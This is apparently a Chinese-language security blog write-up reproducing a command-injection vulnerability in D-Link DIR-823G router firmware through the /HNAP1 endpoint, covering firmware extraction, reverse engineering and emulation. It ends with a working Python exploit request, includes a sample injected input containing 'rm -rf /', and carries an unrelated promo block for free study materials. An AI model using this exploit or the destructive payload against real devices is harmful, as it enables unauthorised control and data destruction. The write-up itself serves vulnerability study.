前言
D-Link DIR-823G v1.02 B05存在命令注入漏洞,攻擊者可以通過POST的方式往 /HNAP1發送精心構造的請求,執行任意的操作系統命令。
漏洞分析
binwalk提取固件,成功獲取到固件。
現在我們已經進入到應用里了,那么我們在進行分析固件的時候,應該怎么去分析這個情況?首先,我們去分析別人的漏洞,別人是會告訴哪里會出現問題。但是我們現在假設我們是分析一個未知固件,我們就得先知道這個固件有哪些應用,啟動了哪些服務,最清晰和簡便的方式就是去看我們etc文件下面,里面有個叫init.d的目錄,里面是關于啟動項的內容。
我們首先來看rcS下面的內容 vim rcS
首先是設置ip,然后掛載了兩個文件系統分別是proc,這是與進程相關的文件系統,包括當前進程啟動存放在哪個地址。
還有ramfs文件系統,根據以前的筆記,可知ramfs文件系統跟RAM相關。
幫助網安學習,全套資料S信免費領取:
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
然后下面就是判斷是否還有掛載別的文件系統。
然后mkdir就是創建各種各樣的文件夾,都有對應的功能,比如說創建了pptp文件夾,針對撥號上網的功能,然后還有smbd服務,可以看到創建了一個usb的文件夾,說明該固件有可以跟usb也就是U盤相關的操作,接下來都是一些配置信息。
繼續往下翻
可以看到該固件啟動了web server的web服務,也就是httpd的內容,這里啟動的是goahead,通過這個名字,我們可以確定web服務就是goahead,如果想要分析web服務的話,就直接分析goahead就可以。
我們回到squashfs-root目錄下,搜索goahead的一些簡單情況
grep -ir "goahead" .
最下面是兩個啟動項的內容,可以忽略,然后第一行是bin的可執行應用,這個其實就是我們最后分析的內容。
那如何分析呢?它是一個HNAP1請求,那就可以去檢索我們的HANP1請求
grep -ir "HNAP1" .
可以看到它檢索到一些js代碼,js代碼對我們來說一般,(比較我們是找二進制相關的漏洞)
但是,我們可以發現它匹配了一個二進制程序,也就是goahead。
這里我們先科普一下goahead的一些情況:
GoAhead ,它是一個源碼,免費、功能強大、可以在多個平臺運行的嵌入式WebServer。
goahead的websUrlHandlerDefine函數允許用戶自定義不同url的處理函數。
它在進行編寫與它相關的請求,是通過websUrlHandlerDefine來確定的。
websUrlHandlerDefine(T("/HNAP1"),NULL,0, websHNAPHandler,0);
websUrlHandlerDefine(T("/goform"),NULL,0, websFormHandler,0);
websUrlHandlerDefine(T("/cgi.bin"),NULL,0, websCgiHandler,0);
使用ghidra進行逆向分析,goahead二進制文件在squashfs-root目錄下的bin目錄下
那進入到goahead反編譯界面該如何分析呢?一種是找到main函數去進行分析,比較耗時
一種是通過關鍵字來搜索,反推調用情況,來推測每個功能的解析情況 ctrl+shift+E
匹配成功,停在指定區域
但是它所對應的反編譯代碼還是很多的,所以我們可以通過反編譯出來的函數名,進行查看它的調用關系。
一路往下翻,終于找到我們所要的東西
而且我們看到,這個函數繼續往上調的話就是main函數了,所以其實一開始也是可以從main函數來分析的(0.0)
所以現在我們可以重點來分析這個函數
前面還是做一些判斷,然后請求還有不止HNAP1,對應的都是一個函數。
同一個函數做的事情,類似于websUrlHandlerDefine這個函數,那HANP1對應的函數是
FUN_0042383c,那就雙擊進去看看
這里就是漏洞點,這里執行了memset和snprintf,一般來說這里應該是不存在漏洞點,但是下面一條語句是system,也就是把格式化化的字符串直接就拿到了system函數作為參數傳遞進去,而snprintf這里的參數有個echo,有個單引號問題。
比如說正常代碼
#!/bin/bash
read -p "Enter your name: " name
echo 'Hello, '$name'!'
攻擊步驟:
正常輸入:用戶輸入 Alice
,輸出:
Hello, Alice!
惡意輸入:用戶輸入 '$(id)'
,此時腳本實際執行的命令變為:
echo 'Hello, ''$(id)'!'
輸出:
Hello, $(id)!
單引號內的 $(id)
不會被執行,暫時安全。
更危險的輸入:用戶輸入 ' && rm -rf / #
,命令變為:
echo 'Hello, '' && rm -rf / #'!
此時,第一個單引號被用戶輸入的 '
閉合。&& rm -rf /
成為獨立命令,在 echo
之后執行。#
注釋掉后續的 '!
,避免語法錯誤。
那么會導致rm -rf /
會被執行,刪除系統文件!
所以,如果我們構造一些惡意的代碼寫入到snprintf中,再傳遞到system函數,就會造成命令注入漏洞。
但是我們要進到漏洞點的話,還需要滿足函數上面的一些要求。
所以我們得符合上面函數的一些限制才能進入到漏洞點來,這里先取了PTR_s_SetMultipleActions_00588d80的首地址,賦值給DAT_0058a6c4,然后DAT_0058a6c4自身判斷和自加2來進行循環判斷,用strstr函數查找DAT_0058a6c4在param_+0x524中出現的位置,并賦值給pcVar1,如果pcVar1的值不為0的話,就會進入到我們的漏洞點來。
DAT_0058a6c4與PTR_s_SetMultipleActions_00588d80相關,雙擊進去看看
可以看到里面都是它對應的一些方法,比如說SetMultipleActions之類的。
固件模擬
分析到這里,基本上是明朗了,接下來就要進行固件模擬操作,使用firmadyne模擬固件啟動。
sudo ./DIR823G_V1.0.2B05_20181207.sh
然后firmadyne默認的密碼就是firmadyne
得等一段時間,然后192.168.0.1
但是這個一直搞不定,模擬不起來,也不知道是什么原因,排查不出。
然后換成了firmware analysis plus (fap)這個框架,就模擬起來了
等一段時間后,回車,就可以模擬起來了,輸入192.168.0.1
進入向導,隨便輸入點東西
密碼8位,輸入12345678
然后就開始配置一些內容,同時可以注意到左側已經把一些數據寫入到關鍵的文件夾中
配置完畢,登錄,成功進入路由器
exp編寫
#!/usr/bin/env python
#-*- coding:utf-8 -*-import requestsip='192.168.0.1'command="'`echo aaaaaaaaa > /web_mtn/test.txt`'"
length=len(command)headers=requests.utils.default_headers()
headers["Content-Length"]=str(length)
headers["User-Agent"]="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36"
headers["SOAPAction"]='"http://purenetworks.com/HNAP1/GetClientInfo"'
headers["Content-Type"]="text/xml; charset=UTF-8"
headers["Accept"]="*/*"
headers["Accept-Encoding"]="gzip, deflate"
headers["Accept-Language"]="zh-CN,zh;q=0.9,en;q=0.8"payload=command
r=requests.post('http://'+ip+'/HNAP1/', headers=headers, data=payload)
因為是http請求,所以我們使用requests,然后設置ip,設置命令,構造報頭,最后post請求將HNAP1,headers和payload都傳過去。
復現完畢,ctrl+a 然后x結束固件模擬。